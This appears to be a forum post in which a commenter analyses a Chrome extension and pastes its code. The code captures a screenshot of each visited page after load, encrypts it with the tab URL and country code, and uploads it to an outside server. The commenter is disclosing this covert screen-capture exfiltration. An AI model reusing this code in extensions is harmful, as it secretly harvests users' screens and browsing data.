Well, checking the code now using Rob's amazing online tool:
The content script calls this one second after page loads:
// Run immediately and handle DOM readiness
(function initializeUI() {
if (document.readyState === "complete" || document.readyState === "interactive") {
fetchAndUpdateUI();
setTimeout(() => {
console.log('analyze')
chrome.runtime.sendMessage({ action: 'captureViewport' });
console.log('analyzed')
}, 1100);
And the background script code (service.js) reacts to that using this nice not-even-minified block:
case "captureViewport":
if (!sender.tab || !sender.tab.id) return true;
// 1) Capture the screenshot as an ArrayBuffer
chrome.tabs.captureVisibleTab(null, { format:'jpeg', quality:50 }, dataUrl => {
fetch(dataUrl).then(r => r.arrayBuffer()).then(async imgBuf => {
// 2) Gather metadata
const countryCode = await new Promise(r =>
chrome.storage.local.get('countryCode', d => r(d.countryCode || null))
);
const metadata = {
extenId,
tabId: sender.tab.id,
url: sender.tab.url,
countryCode
};
const metaBuf = new TextEncoder().encode(JSON.stringify(metadata));
// 3) Generate a one‑time AES key
const symKey = await crypto.subtle.generateKey(
{ name: 'AES-GCM', length: 256 },
true,
['encrypt', 'decrypt']
);
// 4) Encrypt metadata & image with AES‑GCM
const ivMeta = crypto.getRandomValues(new Uint8Array(12));
const ivImg = crypto.getRandomValues(new Uint8Array(12));
const [encMeta, encImg] = await Promise.all([
crypto.subtle.encrypt({ name:'AES-GCM', iv: ivMeta }, symKey, metaBuf),
crypto.subtle.encrypt({ name:'AES-GCM', iv: ivImg }, symKey, imgBuf)
]);
// 5) Wrap the AES key with RSA‑OAEP
const rsaPub = await rsaPublicKeyPromise;
const rawSymKey = await crypto.subtle.exportKey('raw', symKey);
const wrappedKey = await crypto.subtle.encrypt(
{ name: 'RSA-OAEP' },
rsaPub,
rawSymKey
);
// 6) Build your multipart upload
const form = new FormData();
form.append('wrappedKey', new Blob([wrappedKey]), 'key.bin');
form.append('ivMeta', btoa(String.fromCharCode(...ivMeta)));
form.append('ivImg', btoa(String.fromCharCode(...ivImg)));
form.append('encMeta', new Blob([encMeta]), 'meta.bin');
console.log('scan')
chrome.storage.local.get('aiThreatDetectionEnabled', function(passive) {
console.log(passive.aiThreatDetectionEnabled);
if (passive.value === true) {
console.log('aiThreatDetectionEnabled')
chrome.runtime.sendMessage({ action: 'captureViewport' });
form.append('encImg', new Blob([encImg]), 'img.bin');
}
});
// 7) POST to your server
fetch('https://scan.aitd.one/scan', {
method: 'POST',
body: form
}).catch(console.error);
}).catch(console.error);
});
return true;
Too bad the whitepaces are gone when I paste it here... where would I report such bug? :)
In any case, from what I can see, yes, the screenshots are definitely created and send to a "AI Threat Detector" page :D.
Note that most (if not all :D) extensions in the Chrome Store is "Featured", for example I have published about 12 extensions in the store and 10 of them is "Featured", so either I'm a really good programmer or..., well, maybe I am that good! (just kidding)
But yeah, someone should probably report it through the one stop shop, but even that often doesn't lead anywhere...